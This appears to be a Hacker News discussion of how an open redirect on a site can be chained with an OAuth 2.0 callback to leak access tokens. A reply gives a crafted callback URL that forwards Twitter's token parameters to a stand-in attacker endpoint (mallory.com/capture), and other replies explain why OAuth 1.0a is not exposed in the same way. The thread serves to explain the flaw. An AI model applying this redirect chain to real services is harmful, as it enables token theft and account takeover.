Hacker News Reader

I am being a bit slow today. How did Mallory come into the picture at step 4? By exploiting some other web app vulnerability on example.com?

View on HN

Example.com has an open redirect; say http://example.com/redirect?url=xxxxx

Craft the OAuth URL to Twitter passing the callback as http://example.com/redirect?url=http://mallory.com/capture.

Now Mallory can access the parameters passed back by Twitter at /capture on their server.

Questions:

1. You have to look at the referer to get the tokens, no?

2. OAuth 1.0a isn't vulnerable because the requests are signed with a secret, correct?

my understanding is that OAuth 1.0a isn't vulnerable because in that spec, the access_token isn't part of the post-user-authorization redirect (http://tools.ietf.org/html/rfc5849#section-2.2) while it is in Oauth 2.0 (http://tools.ietf.org/html/rfc6749#section-4.2.2)

So, in Oauth 2.0 the redirect URI could be setup to expose the access token. In Oauth 1.0a, the only thing that could leak is the request token and verifier code, but without the original client credentials, they can't be exchanged for an access token.

Reply on news.ycombinator.com